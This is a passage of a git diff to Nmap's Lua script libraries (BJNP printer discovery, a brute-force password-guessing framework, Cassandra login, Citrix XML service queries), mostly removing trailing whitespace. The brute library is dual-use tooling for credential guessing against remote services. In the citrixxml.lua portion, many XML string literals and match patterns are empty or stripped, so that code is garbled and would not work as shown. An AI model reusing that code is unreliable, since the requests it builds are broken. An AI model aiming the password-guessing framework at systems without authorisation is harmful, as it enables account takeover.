b/nselib/bjnp.lua @@ -22,7 +22,7 @@ BJNP = { -- The common BJNP header Header = { - + new = function(self, o) o = o or {} o = { @@ -42,15 +42,15 @@ BJNP = { parse = function(data) local hdr = BJNP.Header:new({ code = -1 }) local pos - + pos, hdr.id, hdr.type, hdr.code, hdr.seq, hdr.session, hdr.length = bin.unpack(">A4CCISI", data) return hdr end, __tostring = function(self) - return bin.pack(">ACCISI", - self.id, + return bin.pack(">ACCISI", + self.id, self.type, self.code, self.seq, @@ -59,19 +59,19 @@ BJNP = { ) end }, - + -- Scanner related code Scanner = { - + Code = { DISCOVER = 1, IDENTITY = 48, }, - + Request = { Discover = { - + new = function(self) local o = { header = BJNP.Header:new( { type = 2, code = BJNP.Scanner.Code.DISCOVER }) } setmetatable(o, self) @@ -83,10 +83,10 @@ BJNP = { return tostring(self.header) end, }, - - + + Identity = { - + new = function(self) local o = { header = BJNP.Header:new( { type = 2, code = BJNP.Scanner.Code.IDENTITY, length = 4 }), data = 0 } setmetatable(o, self) @@ -98,18 +98,18 @@ BJNP = { return tostring(self.header) .. bin.pack(">I", self.data) end, } - + }, - + Response = { - + Identity = { new = function(self) local o = {} setmetatable(o, self) self.__index = self - return o + return o end, parse = function(data) @@ -123,10 +123,10 @@ BJNP = { return identity end end, - + } - + } }, @@ -138,7 +138,7 @@ BJNP = { DISCOVER = 1, IDENTITY = 48, }, - + Request = { Discover = { @@ -153,9 +153,9 @@ BJNP = { return tostring(self.header) end, }, - + Identity = { - + new = function(self) local o = { header = BJNP.Header:new( { code = BJNP.Printer.Code.IDENTITY }) } setmetatable(o, self) @@ -167,11 +167,11 @@ BJNP = { return tostring(self.header) end, } - + }, Response = { - + Identity = { new = function(self) @@ -184,7 +184,7 @@ BJNP = { parse = function(data) local identity = BJNP.Printer.Response.Identity:new() identity.header = BJNP.Header.parse(data) - + local pos = #tostring(identity.header) + 1 local pos, len = bin.unpack(">S", data, pos) if ( len ) then @@ -192,19 +192,19 @@ BJNP = { return identity end end, - - + + } - + }, - + } } -- Helper class, the main script writer interface Helper = { - + -- Creates a new Helper instance -- @param host table -- @param port table @@ -222,7 +222,7 @@ Helper = { self.__index = self return o end, - + -- Connects the socket to the device -- This should always be called, regardless if the broadcast option is set -- or not. @@ -237,7 +237,7 @@ Helper = { end return true end, - + -- Discover network devices using either broadcast or unicast -- @param packet discovery packet (printer or scanner) -- @return status, true on success, false on failure @@ -267,17 +267,17 @@ Helper = { for host in pairs(tmp) do table.insert(devices, host) end return true, ( self.options.bcast and devices or ( #devices > 0 and devices[1] )) end, - + -- Discover BJNP supporting scanners discoverScanner = function(self) return self:discoverDevice(BJNP.Scanner.Request.Discover:new()) end, - + -- Discover BJNP supporting printers discoverPrinter = function(self) return self:discoverDevice(BJNP.Printer.Request.Discover:new()) end, - + -- Gets a printer identity (additional information) -- @param devtype string containing either the string printer or scanner -- @return status, true on success, false on failure @@ -285,13 +285,13 @@ Helper = { -- errmsg string containing the error message when status is false getDeviceIdentity = function(self, devtype) -- Were currenlty only decoding this as I don't know what the other cruft is - local attrib_names = { + local attrib_names = { ["scanner"] = { { ['MFG'] = "Manufacturer" }, { ['MDL'] = "Model" }, { ['DES'] = "Description" }, { ['CMD'] = "Command" }, - }, + }, ["printer"] = { { ['MFG'] = "Manufacturer" }, { ['MDL'] = "Model" }, @@ -314,7 +314,7 @@ Helper = { if ( not(status) ) then return false, "Failed to receive response from server" end - + local identity if ( "printer" == devtype ) then identity = BJNP.Printer.Response.Identity.parse(data) @@ -337,27 +337,27 @@ Helper = { table.insert(attrs, ("%s: %s"):format(long, kvps[short])) end end - + return true, attrs end, - + -- Retrieves information related to the printer getPrinterIdentity = function(self) return self:getDeviceIdentity("printer") end, - + -- Retrieves information related to the scanner getScannerIdentity = function(self) return self:getDeviceIdentity("scanner") end, - + -- Closes the connection -- @return status, true on success, false on failure -- @return errmsg string containing the error message when status is false close = function(self) return self.socket:close() end - + } return _ENV; diff --git a/nselib/brute.lua b/nselib/brute.lua index 527c99af6..5bde62192 100644 --- a/nselib/brute.lua +++ b/nselib/brute.lua @@ -1,6 +1,6 @@ --- -- The brute library is an attempt to create a common framework for performing --- password guessing against remote services. +-- password guessing against remote services. -- -- The library currently attempts to parallellize the guessing by starting -- a number of working threads. The number of threads can be defined using @@ -17,9 +17,9 @@ -- * Options -- ** Stores any options that should be used during brute-forcing. -- --- In order to make use of the framework a script needs to implement a Driver --- class. The Driver class is then to be passed as a parameter to the Engine --- constructor, which creates a new instance for each guess. The Driver class +-- In order to make use of the framework a script needs to implement a Driver +-- class. The Driver class is then to be passed as a parameter to the Engine +-- constructor, which creates a new instance for each guess. The Driver class -- SHOULD implement the following four methods: -- -- @@ -38,14 +38,14 @@ -- password guessing by calling the Error objects setAbort method. -- -- The following example code demonstrates how the Error object can be used. --- +-- -- -- -- After a number of incorrect attempts VNC blocks us, so we abort -- if ( not(status) and x:match("Too many authentication failures") ) then -- local err = brute.Error:new( data ) -- -- signal the engine to abort -- err:setAbort( true ) --- return false, err +-- return false, err -- elseif ( not(status) ) then -- local err = brute.Error:new( "VNC handshake failed" ) -- -- This might be temporary, signal the engine to retry @@ -56,7 +56,7 @@ -- . -- . -- -- Return a simple error, no retry needed --- return false, brute.Error:new( "Incorrect password" ) +-- return false, brute.Error:new( "Incorrect password" ) -- -- -- The purpose of the check method is to be able to determine @@ -64,11 +64,11 @@ -- brute force. It's the method where you should check, e.g., if the correct -- database or repository URL was specified or not. On success, the -- check method returns true, on failure it returns false and the --- brute force engine aborts. +-- brute force engine aborts. -- -- NOTE: The check method is deprecated and will be removed from -- all scripts in the future. Scripts should do this check in the action --- function instead. +-- function instead. -- -- The connect method provides the framework with the ability to -- ensure that the thread can run once it has been dispatched a set of @@ -96,8 +96,8 @@ -- end, -- disconnect = function( self ) -- return self.socket:close() --- end, --- check = function( self ) +-- end, +-- check = function( self ) -- return true -- end, -- login = function( self, username, password ) @@ -127,7 +127,7 @@ -- end -- -- --- For a complete example of a brute implementation consult the +-- For a complete example of a brute implementation consult the -- svn-brute.nse or vnc-brute.nse scripts -- -- @args brute.useraspass guess the username as password for each user @@ -173,7 +173,7 @@ -- Revised 07/13/2010 - v0.2 - added connect, disconnect methods to Driver -- -- Revised 07/21/2010 - v0.3 - documented missing argument brute.mode --- Revised 07/23/2010 - v0.4 - fixed incorrect statistics and changed output to +-- Revised 07/23/2010 - v0.4 - fixed incorrect statistics and changed output to -- include statistics, and to display "no accounts -- found" message. -- Revised 08/14/2010 - v0.5 - added some documentation and smaller changes per @@ -185,7 +185,7 @@ -- iterator to use a file handle instead of table -- Revised 07/21/2011 - v0.72- added code to allow script reporting invalid -- (non existing) accounts using setInvalidAccount --- Revised 11/12/2011 - v0.73- added support for max guesses per account to +-- Revised 11/12/2011 - v0.73- added support for max guesses per account to -- prevent account lockouts. -- bugfix: added support for guessing the username -- as password per default, as suggested by the @@ -224,7 +224,7 @@ _ENV = stdnse.module("brute", stdnse.seeall) -- * emptypass - guesses an empty string as password (default: false) -- Options = { - + new = function(self) local o = {} setmetatable(o, self) @@ -240,7 +240,7 @@ Options = { return o end, - + --- Checks if a script argument is boolean true or false -- -- @param arg string containing the name of the argument to check @@ -250,7 +250,7 @@ Options = { local val = stdnse.get_script_args(arg) or default return (val == "true" or val==true or tonumber(val)==1) end, - + --- Sets the brute mode to either iterate over users or passwords -- @see description for more information. -- @@ -260,11 +260,11 @@ Options = { setMode = function( self, mode ) local modes = { "password", "user", "creds" } local supported = false - + for _, m in ipairs(modes) do if ( mode == m ) then supported = true end end - + if ( not(supported) ) then stdnse.print_debug("ERROR: brute.options.setMode: mode %s not supported", mode) return false, "Unsupported mode" @@ -279,7 +279,7 @@ Options = { -- @param param string containing the parameter name -- @param value string containing the parameter value setOption = function( self, param, value ) self[param] = value end, - + --- Set an alternate title for the result output (default: Accounts) -- -- @param title string containing the title value @@ -303,7 +303,7 @@ Account = self.__index = self return o end, - + --- Converts an account object to a printable script -- -- @return string representation of object @@ -320,7 +320,7 @@ Account = return ("%s"):format(c) end end, - + } -- The Error class, is currently only used to flag for retries @@ -328,50 +328,50 @@ Account = Error = { retry = false, - + new = function(self, msg) local o = { msg = msg, done = false } setmetatable(o, self) self.__index = self return o end, - + --- Is the error recoverable? -- -- @return status true if the error is recoverable, false if not isRetry = function( self ) return self.retry end, - + --- Set the error as recoverable -- -- @param r boolean true if the engine should attempt to retry the -- credentials, unset or false if not setRetry = function( self, r ) self.retry = r end, - + --- Set the error as abort all threads -- -- @param b boolean true if the engine should abort guessing on all threads setAbort = function( self, b ) self.abort = b end, - + --- Was the error abortable -- -- @return status true if the driver flagged the engine to abort isAbort = function( self ) return self.abort end, - + --- Get the error message reported -- -- @return msg string containing the error message getMessage = function( self ) return self.msg end, - + --- Is the thread done? -- -- @return status true if done, false if not isDone = function( self ) return self.done end, - + --- Signals the engine that the thread is done and should be terminated -- -- @param b boolean true if done, unset or false if not setDone = function( self, b ) self.done = b end, - + -- Marks the username as invalid, aborting further guessing. -- @param username setInvalidAccount = function(self, username) @@ -381,25 +381,25 @@ Error = -- Checks if the error reported the account as invalid. -- @return username string containing the invalid account isInvalidAccount = function(self) - return self.invalid_account + return self.invalid_account end, - + } -- The brute engine, doing all the nasty work Engine = { STAT_INTERVAL = 20, - + --- Creates a new Engine instance -- -- @param driver, the driver class that should be instantiated -- @param host table as passed to the action method of the script -- @param port table as passed to the action method of the script -- @param options table containing any script specific options - -- @return o new Engine instance + -- @return o new Engine instance new = function(self, driver, host, port, options) - local o = { + local o = { driver = driver, host = host, port = port, @@ -422,25 +422,25 @@ Engine = return o end, - --- Sets the username iterator - -- + --- Sets the username iterator + -- -- @param usernameIterator function to set as a username iterator setUsernameIterator = function(self,usernameIterator) self.usernames = usernameIterator end, - - --- Sets the password iterator - -- + + --- Sets the password iterator + -- -- @param passwordIterator function to set as a password iterator setPasswordIterator = function(self,passwordIterator) self.passwords = passwordIterator end, - + --- Limit the number of worker threads -- -- @param max number containing the maximum number of allowed threads setMaxThreads = function( self, max ) self.max_threads = max end, - + --- Returns the number of non-dead threads -- -- @return count number of non-dead threads @@ -456,7 +456,7 @@ Engine = end return count end, - + --- Calculates the number of threads that are actually doing any work -- -- @return count number of threads performing activity @@ -465,9 +465,9 @@ Engine = for thread, v in pairs(self.threads) do if ( v.guesses ~= nil ) then count = count + 1 end end - return count + return count end, - + --- Iterator wrapper used to iterate over all registered iterators -- -- @return iterator function @@ -486,7 +486,7 @@ Engine = end return coroutine.wrap( next_credential ) end, - + --- Does the actual authentication request -- -- @return true on success, false on failure @@ -497,7 +497,7 @@ Engine = local next_credential = self:get_next_credential() local retries = self.options.max_retries local username, password - + repeat local driver = self.driver:new( self.host, self.port, self.driver_options ) status = driver:connect() @@ -510,22 +510,22 @@ Engine = if ( not(username) and not(password) ) then driver:disconnect() self.threads[coroutine.running()].terminate = true - return false + return false end until ( ( not(self.found_accounts) or not(self.found_accounts[username]) ) and - ( self.options.max_guesses == 0 or not(self.account_guesses[username]) or + ( self.options.max_guesses == 0 or not(self.account_guesses[username]) or self.options.max_guesses > self.account_guesses[username] ) ) - + -- increases the number of guesses for an account self.account_guesses[username] = self.account_guesses[username] and self.account_guesses[username] + 1 or 1 end -- make sure that all threads locked in connect stat terminate quickly - if ( Engine.terminate_all ) then + if ( Engine.terminate_all ) then driver:disconnect() return false end - + local c -- Do we have a username or not? if ( username and #username > 0 ) then @@ -533,13 +533,13 @@ Engine = else c = ("%s"):format(#password > 0 and password or "") end - + local msg = ( retries ~= self.options.max_retries ) and "Re-trying" or "Trying" stdnse.print_debug(2, "%s %s against %s:%d", msg, c, self.host.ip, self.port.number ) status, response = driver:login( username, password ) driver:disconnect() - driver = nil + driver = nil end retries = retries - 1 @@ -549,10 +549,10 @@ Engine = -- * The response was not set to retry -- * We've reached the maximum retry attempts until( status or ( response and not( response:isRetry() ) ) or retries == 0) - + -- Increase the amount of total guesses self.counter = self.counter + 1 - + -- did we exhaust all retries, terminate and report? if ( retries == 0 ) then Engine.terminate_all = true @@ -562,18 +562,18 @@ Engine = end return status, response end, - + login = function(self, cvar ) - local condvar = nmap.condvar( cvar ) + local condvar = nmap.condvar( cvar ) local thread_data = self.threads[coroutine.running()] local interval_start = os.time() - + while( true ) do -- Should we terminate all threads? if ( self.terminate_all or thread_data.terminate ) then break end - + local status, response = self:doAuthenticate() - + if ( status ) then -- Prevent locked accounts from appearing several times if ( not(self.found_accounts) or self.found_accounts[response.username] == nil ) then @@ -583,7 +583,7 @@ Engine = self.credstore = self.credstore or {} table.insert(self.credstore, response:toString() ) end - + stdnse.print_debug("Discovered account: %s", response:toString()) -- if we're running in passonly mode, and want to continue guessing @@ -592,7 +592,7 @@ Engine = if ( not(self.options.passonly) ) then self.found_accounts[response.username] = true end - + -- Check if firstonly option was set, if so abort all threads if ( self.options.firstonly ) then self.terminate_all = true end end @@ -607,9 +607,9 @@ Engine = self.found_accounts[response:isInvalidAccount()] = true end end - + local timediff = (os.time() - interval_start) - + -- This thread made another guess thread_data.guesses = ( thread_data.guesses and thread_data.guesses + 1 or 1 ) @@ -626,20 +626,20 @@ Engine = end condvar "signal" end, - + --- Starts the brute-force -- -- @return status true on success, false on failure -- @return err string containing error message on failure start = function(self) - + local cvar = {} local condvar = nmap.condvar( cvar ) - + assert(self.options.script_name, "SCRIPT_NAME was not set in options.script_name") assert(self.port.number and self.port.protocol, "Invalid port table detected") self.port.service = self.port.service or "unknown" - + -- Only run the check method if it exist. We should phase this out -- in favor of a check in the action function of the script if ( self.driver:new( self.host, self.port, self.driver_options ).check ) then @@ -647,7 +647,7 @@ Engine = local status, response = self.driver:new( self.host, self.port, self.driver_options ):check() if( not(status) ) then return false, response end end - + local usernames = self.usernames local passwords = self.passwords @@ -659,7 +659,7 @@ Engine = end local mode = self.options.mode or stdnse.get_script_args("brute.mode") - + -- if no mode was given, but a credfile is present, assume creds mode if ( not(mode) and stdnse.get_script_args("brute.credfile") ) then if ( stdnse.get_script_args("userdb") or @@ -668,7 +668,7 @@ Engine = end mode = 'creds' end - + -- Are we guessing against a service that has no username (eg. VNC) if ( self.options.passonly ) then local function single_user_iter(next) @@ -677,24 +677,24 @@ Engine = end -- only add this iterator if no other iterator was specified if self.iterator == nil then - self.iterator = Iterators.user_pw_iterator( single_user_iter(), passwords ) + self.iterator = Iterators.user_pw_iterator( single_user_iter(), passwords ) end elseif ( mode == 'creds' ) then local credfile = stdnse.get_script_args("brute.credfile") if ( not(credfile) ) then return false, "No credential file specified (see brute.credfile)" end - + local f = io.open( credfile, "r" ) if ( not(f) ) then return false, ("Failed to open credfile (%s)"):format(credfile) end - - self.iterator = Iterators.credential_iterator( f ) + + self.iterator = Iterators.credential_iterator( f ) elseif ( mode and mode == 'user' ) then - self.iterator = self.iterator or Iterators.user_pw_iterator( usernames, passwords ) + self.iterator = self.iterator or Iterators.user_pw_iterator( usernames, passwords ) elseif( mode and mode == 'pass' ) then - self.iterator = self.iterator or Iterators.pw_user_iterator( usernames, passwords ) + self.iterator = self.iterator or Iterators.pw_user_iterator( usernames, passwords ) elseif ( mode ) then return false, ("Unsupported mode: %s"):format(mode) -- Default to the pw_user_iterator in case no iterator was specified @@ -708,7 +708,7 @@ Engine = self.iterator = unpwdb.concat_iterators(Iterators.pw_same_as_user_iterator(usernames, "lower"),self.iterator) end end - + if ( ( not(mode) or mode == 'user' or mode == 'pass' ) and self.options.emptypass ) then local function empty_pass_iter() local function next_pass() @@ -718,7 +718,7 @@ Engine = end self.iterator = Iterators.account_iterator(usernames, empty_pass_iter(), mode or "pass") end - + self.starttime = os.time() @@ -731,15 +731,15 @@ Engine = -- wait for all threads to finnish running while self:threadCount()>0 do condvar "wait" end - + local valid_accounts - + if ( not(self.options.nostore) ) then valid_accounts = creds.Credentials:new(self.options.script_name, self.host, self.port):getTable() else valid_accounts = self.credstore end - + local result = {} -- Did we find any accounts, if so, do formatting if ( valid_accounts and #valid_accounts > 0 ) then @@ -748,7 +748,7 @@ Engine = else table.insert( result, {"No valid accounts found", name="Accounts"} ) end - + -- calculate the average tps local sum = 0 for _, v in ipairs( self.tps ) do sum = sum + v end @@ -761,12 +761,12 @@ Engine = table.insert(stats, ("Performed %d guesses in %d seconds, average tps: %d"):format( self.counter, time_diff, tps ) ) stats.name = "Statistics" table.insert( result, stats ) - + if ( self.options.max_guesses > 0 ) then -- we only display a warning if the guesses are equal to max_guesses for user, guesses in pairs(self.account_guesses) do if ( guesses == self.options.max_guesses ) then - table.insert( result, { name = "Information", + table.insert( result, { name = "Information", ("Guesses restricted to %d tries per account to avoid lockout"):format(self.options.max_guesses) } ) break end @@ -774,7 +774,7 @@ Engine = end result = ( #result ) and stdnse.format_output( true, result ) or "" - + -- Did any error occure? If so add this to the result. if ( self.error ) then result = result .. (" \n ERROR: %s"):format( self.error ) @@ -782,10 +782,10 @@ Engine = end return true, result end, - + } ---- Default username iterator that uses unpwdb +--- Default username iterator that uses unpwdb -- usernames_iterator = function() local status, usernames = unpwdb.usernames() @@ -793,8 +793,8 @@ usernames_iterator = function() return usernames end ---- Default password iterator that uses unpwdb --- +--- Default password iterator that uses unpwdb +-- passwords_iterator = function() local status, passwords = unpwdb.passwords() if ( not(status) ) then return "Failed to load passwords" end @@ -810,7 +810,7 @@ Iterators = { -- @param mode string, should be either 'user' or 'pass' and controls -- whether the users or passwords are in the 'outer' loop -- @return function iterator - account_iterator = function(users, pass, mode) + account_iterator = function(users, pass, mode) local function next_credential () local outer, inner if "table" == type(users) then @@ -819,7 +819,7 @@ Iterators = { if "table" == type(pass) then pass = unpwdb.table_iterator(pass) end - + if ( mode == 'pass' ) then outer, inner = pass, users elseif ( mode == 'user' ) then @@ -840,7 +840,7 @@ Iterators = { end while true do coroutine.yield(nil, nil) end end - return coroutine.wrap( next_credential ) + return coroutine.wrap( next_credential ) end, @@ -868,7 +868,7 @@ Iterators = { -- @param case string [optional] 'upper' or 'lower', specifies if user -- and password pairs should be case converted. -- @return function iterator - pw_same_as_user_iterator = function( users, case ) + pw_same_as_user_iterator = function( users, case ) local function next_credential () for user in users do if ( case == 'upper' ) then @@ -901,7 +901,7 @@ Iterators = { end return coroutine.wrap( next_credential ) end, - + --- Credential iterator (for default or known user/pass combinations) -- -- @param f file handle to file containing credentials separated by '/' @@ -911,7 +911,7 @@ Iterators = { local c = {} for line in f:lines() do if ( not(line:match("^#!comment:")) ) then - local trim = function(s) return s:match('^()%s*$') and '' or s:match('^%s*(.*%S)') end + local trim = function(s) return s:match('^()%s*$') and '' or s:match('^%s*(.*%S)') end line = trim(line) local user, pass = line:match("^([^%/]*)%/(.*)$") coroutine.yield( user, pass ) @@ -922,19 +922,19 @@ Iterators = { end return coroutine.wrap( next_credential ) end, - + unpwdb_iterator = function( mode ) local status, users, passwords status, users = unpwdb.usernames() if ( not(status) ) then return end - + status, passwords = unpwdb.passwords() if ( not(status) ) then return end - + return Iterators.account_iterator( users, passwords, mode ) end, - + } return _ENV; diff --git a/nselib/cassandra.lua b/nselib/cassandra.lua index a27841a61..1c612c874 100644 --- a/nselib/cassandra.lua +++ b/nselib/cassandra.lua @@ -16,7 +16,7 @@ _ENV = stdnse.module("cassandra", stdnse.seeall) --[[ - Cassandra Thrift protocol implementation. + Cassandra Thrift protocol implementation. For more information about Cassandra, see: @@ -43,7 +43,7 @@ end --@param username to put in format --@param password to put in format --@return str : string in cassandra format for login -function loginstr (username, password) +function loginstr (username, password) local str = CASSANDRAREQ .. pack4str ("login") str = str .. CASSLOGINMAGIC str = str .. pack4str("username") @@ -60,7 +60,7 @@ end --@param cnt is protocol count --@return status : true if ok; false if bad --@return result : value if status ok, error msg if bad -function cmdstr (command,cnt) +function cmdstr (command,cnt) local str = CASSANDRAREQ .. pack4str (command) str = str .. bin.pack(">I",cnt) str = str .. string.char (0x00) -- add null on the end @@ -73,7 +73,7 @@ end --@param cnt is protocol count --@return status : true if ok; false if bad --@return result : value if status ok, error msg if bad -function sendcmd (socket, command, cnt) +function sendcmd (socket, command, cnt) local cmdstr = cmdstr (command,cnt) local response @@ -86,7 +86,7 @@ function sendcmd (socket, command, cnt) if ( not(status) ) then return false, "error sending packet payload" end - + status, response = socket:receive_bytes(4) if ( not(status) ) then return false, "error receiving length" @@ -103,7 +103,7 @@ function sendcmd (socket, command, cnt) end -- magic response starts at 5th byte for 4 bytes, 4 byte for length + length of string commmand - if (string.sub(response,5,8+4+string.len(command)) ~= CASSANDRARESP..pack4str(command)) then + if (string.sub(response,5,8+4+string.len(command)) ~= CASSANDRARESP..pack4str(command)) then return false, "protocol response error" end @@ -115,10 +115,10 @@ end --@param cnt is protocol count --@return status : true if ok; false if bad --@return result : value if status ok, error msg if bad -function describe_cluster_name (socket,cnt) +function describe_cluster_name (socket,cnt) local cname = "describe_cluster_name" local status,resp = sendcmd(socket,cname,cnt) - + if (not(status)) then stdnse.print_debug(1, "sendcmd"..resp) return false, "error in communication" @@ -134,15 +134,15 @@ function describe_cluster_name (socket,cnt) return true, value end ---Return API version +--Return API version --@param socket to connect to --@param cnt is protocol count --@return status : true if ok; false if bad --@return result : value if status ok, error msg if bad -function describe_version (socket,cnt) +function describe_version (socket,cnt) local cname = "describe_version" local status,resp = sendcmd(socket,cname,cnt) - + if (not(status)) then stdnse.print_debug(1, "sendcmd"..resp) return false, "error in communication" @@ -158,7 +158,7 @@ function describe_version (socket,cnt) return true, value end ---Login to Cassandra +--Login to Cassandra --@param socket to connect to --@param username to connect to --@param password to connect to @@ -190,7 +190,7 @@ function login (socket,username,password) local _, size = bin.unpack(">I", response, 1) local loginresp = string.sub(response,5,17) - if (loginresp ~= CASSANDRARESP..pack4str("login")) then + if (loginresp ~= CASSANDRARESP..pack4str("login")) then return false, "protocol error" end @@ -205,6 +205,6 @@ function login (socket,username,password) else return false, "Login failed." end -end +end return _ENV; diff --git a/nselib/citrixxml.lua b/nselib/citrixxml.lua index 3f366ec28..c559b47a2 100644 --- a/nselib/citrixxml.lua +++ b/nselib/citrixxml.lua @@ -1,7 +1,7 @@ --- -- This module was written by Patrik Karlsson and facilitates communication --- with the Citrix XML Service. It is not feature complete and is missing several --- functions and parameters. +-- with the Citrix XML Service. It is not feature complete and is missing several +-- functions and parameters. -- -- The library makes little or no effort to verify that the parameters submitted -- to each function are compliant with the DTD @@ -12,7 +12,7 @@ -- Details regarding the requests/responses and their parameters can be found in -- the NFuse.DTD included with Citrix MetaFrame/Xenapp -- --- This code is based on the information available in: +-- This code is based on the information available in: -- NFuse.DTD - Version 5.0 (draft 1) 24 January 2008 -- @@ -25,40 +25,40 @@ local table = require "table" _ENV = stdnse.module("citrixxml", stdnse.seeall) --- Decodes html-entities to chars eg. => --- +-- -- @param xmldata string to convert -- @return string an e function decode_xml_document(xmldata) - + local hexval - + if not xmldata then return "" end - + local newstr = xmldata - + for m in xmldata:gmatch("(&#%d+;)") do hexval = m:match("(%d+)") - + if ( hexval ) then newstr = xmldata:gsub(m, string.char(hexval)) end end - + return newstr - + end --- Sends the request to the server using the http lib --- +-- -- @param host string, the ip of the remote server -- @param port number, the port of the remote server -- @param xmldata string, the HTTP data part of the request as XML -- -- @return string with the response body -- -function send_citrix_xml_request(host, port, xmldata) +function send_citrix_xml_request(host, port, xmldata) local response = http.post( host, port, "/scripts/WPnBr.dll", { header={["Content-Type"]="text/xml"}}, nil, xmldata) @@ -66,13 +66,13 @@ function send_citrix_xml_request(host, port, xmldata) -- decoding should *probably* only be done on XML-values -- this is *probably* defined in the standard, for anyone interested return decode_xml_document(response.body) - + end --- Request information about the Citrix Server Farm -- -- Consult the NFuse.DTD for a complete list of supported parameters --- This function implements all the supported parameters described in: +-- This function implements all the supported parameters described in: -- Version 5.0 (draft 1) 24 January 2008 -- -- @param host string, the ip of the remote server @@ -86,7 +86,7 @@ function request_server_farm_data( host, port ) xmldata = xmldata .. "" xmldata = xmldata .. "" xmldata = xmldata .. "\r\n" - + return send_citrix_xml_request(host, port, xmldata) end @@ -97,14 +97,14 @@ end function parse_server_farm_data_response( response ) local farms = {} - + response = response:gsub("\r?\n","") for farm in response:gmatch("([^<]+)") do table.insert(farms, farm) end - + return farms - + end --- Sends a request for application data to the Citrix XML service @@ -137,20 +137,20 @@ function request_appdata(host, port, params) if desired_details then if type(desired_details) == "string" then - xmldata = xmldata .. "" .. desired_details .. "" + xmldata = xmldata .. "" .. desired_details .. "" elseif type(desired_details) == "table" then for _, v in ipairs(desired_details) do - xmldata = xmldata .. "" .. v .. "" + xmldata = xmldata .. "" .. v .. "" end else assert(desired_details) end - + end xmldata = xmldata .. "" xmldata = xmldata .. "\r\n" - + return send_citrix_xml_request(host, port, xmldata) end @@ -174,32 +174,32 @@ local function extract_appdata_acls(xmldata) for user in acl:gmatch("(.-)") do local user_name = user:match("(.-)") or "" local domain_name = user:match("(.-)") or "" - + if user_name:len() > 0 then if domain_name:len() > 0 then domain_name = domain_name .. "\\" end table.insert(users, domain_name .. user_name) end - + end - + for group in acl:gmatch("(.-)") do - + local group_name = group:match("(.-)") or "" - local domain_name = group:match("(.-)") or "" - + local domain_name = group:match("(.-)") or "" + if group_name:len() > 0 then if domain_name:len() > 0 then domain_name = domain_name .. "\\" end - table.insert(groups, domain_name .. group_name) + table.insert(groups, domain_name .. group_name) end - + end - - end + + end if #users> 0 then acls['User'] = users @@ -207,7 +207,7 @@ local function extract_appdata_acls(xmldata) if #groups>0 then acls['Group'] = groups end - + end return acls @@ -216,7 +216,7 @@ end --- Extracts the settings section of the XML response --- +-- -- @param xmldata string containing results from the request app data request -- @return table containing settings extracted from the settings section of the response local function extract_appdata_settings(xmldata) @@ -224,7 +224,7 @@ local function extract_appdata_settings(xmldata) local settings = {} settings['appisdisabled'] = xmldata:match("") - settings['appisdesktop'] = xmldata:match("") + settings['appisdesktop'] = xmldata:match("") for s in xmldata:gmatch("(.-)") do settings['Encryption'] = s:match("(.-)") @@ -236,7 +236,7 @@ local function extract_appdata_settings(xmldata) end return settings - + end --- Parses the appdata XML response @@ -247,21 +247,21 @@ function parse_appdata_response(xmldata) local apps = {} xmldata = xmldata:gsub("\r?\n",""):gsub(">%s+<", "><") - + for AppData in xmldata:gmatch("(.-)") do - local app_name = AppData:match("(.-)") or "" + local app_name = AppData:match("(.-)") or "" local app = {} - + app['FName'] = app_name app['AccessList'] = extract_appdata_acls(AppData) app['Settings'] = extract_appdata_settings(AppData) table.insert(apps, app) - + end - - return apps + + return apps end -- @@ -278,13 +278,13 @@ function request_address(host, port, flags, appname) if flags then xmldata = xmldata .. "" .. flags .. "" end - + if appname then xmldata = xmldata .. "" xmldata = xmldata .. "" .. appname .. "" xmldata = xmldata .. "" end - + xmldata = xmldata .. "" xmldata = xmldata .. "\r\n" @@ -294,7 +294,7 @@ end --- Request information about the Citrix protocol -- -- Consult the NFuse.DTD for a complete list of supported parameters --- This function implements all the supported parameters described in: +-- This function implements all the supported parameters described in: -- Version 5.0 (draft 1) 24 January 2008 -- -- @param host string the host which is to be queried @@ -303,24 +303,24 @@ end -- @return string HTTP response data -- function request_server_data(host, port, params) - + local params = params or {} local server_type = params.ServerType or {"all"} local client_type = params.ClientType or {"all"} - + local xmldata = "\r\n" xmldata = xmldata .. "\r\n" xmldata = xmldata .. "" xmldata = xmldata .. "" - + for _, srvtype in pairs(server_type) do xmldata = xmldata .. "" .. srvtype .. "" end - + for _, clitype in pairs(client_type) do xmldata = xmldata .. "" .. clitype .. "" end - + xmldata = xmldata .. "" xmldata = xmldata .. "\r\n" @@ -334,20 +334,20 @@ end function parse_server_data_response(response) local servers = {} - - response = response:gsub("\r?\n","") + + response = response:gsub("\r?\n","") for s in response:gmatch("([^<]+)") do table.insert(servers, s) end - + return servers - + end --- Request information about the Citrix protocol -- -- Consult the NFuse.DTD for a complete list of supported parameters --- This function implements all the supported parameters described in: +-- This function implements all the supported parameters described in: -- Version 5.0 (draft 1) 24 January 2008 -- -- @param host string the host which is to be queried @@ -363,7 +363,7 @@ function request_protocol_info( host, port, params ) xmldata = xmldata .. "\r\n" xmldata = xmldata .. "" xmldata = xmldata .. "" - + if params['ServerAddress'] then xmldata = xmldata .. "" xmldata = xmldata .. params['ServerAddress'] .. "" @@ -371,14 +371,14 @@ function request_protocol_info( host, port, params ) xmldata = xmldata .. "" xmldata = xmldata .. "\r\n" - + return send_citrix_xml_request(host, port, xmldata) end ---- Request capability information +--- Request capability information -- -- Consult the NFuse.DTD for a complete list of supported parameters --- This function implements all the supported parameters described in: +-- This function implements all the supported parameters described in: -- Version 5.0 (draft 1) 24 January 2008 -- -- @param host string the host which is to be queried @@ -393,7 +393,7 @@ function request_capabilities( host, port ) xmldata = xmldata .. "" xmldata = xmldata .. "" xmldata = xmldata .. "\r\n" - + return send_citrix_xml_request(host, port, xmldata) end @@ -404,20 +404,20 @@ end function parse_capabilities_response(response) local servers = {} - - response = response:gsub("\r?\n","") + + response = response:gsub("\r?\n","") for s in response:gmatch("([^<]+)") do table.insert(servers, s) end - + return servers - + end --- Tries to validate user credentials against the XML service -- -- Consult the NFuse.DTD for a complete list of supported parameters --- This function implements all the supported parameters described in: +-- This function implements all the supported parameters described in: -- Version 5.0 (draft 1) 24 January 2008 -- -- @@ -436,7 +436,7 @@ function request_validate_credentials(host, port, params ) xmldata = xmldata .. "" xmldata = xmldata .. "" xmldata = xmldata .. "" - + if credentials['UserName'] then xmldata = xmldata .. "" .. credentials['UserName'] .. "" end @@ -444,17 +444,17 @@ function request_validate_credentials(host, port, params ) if credentials['Password'] then xmldata = xmldata .. "" .. credentials['Password'] .. "" end - + if credentials['Domain'] then xmldata = xmldata .. "" .. credentials['Domain'] .. "" end - + xmldata = xmldata .. "" xmldata = xmldata .. "" xmldata = 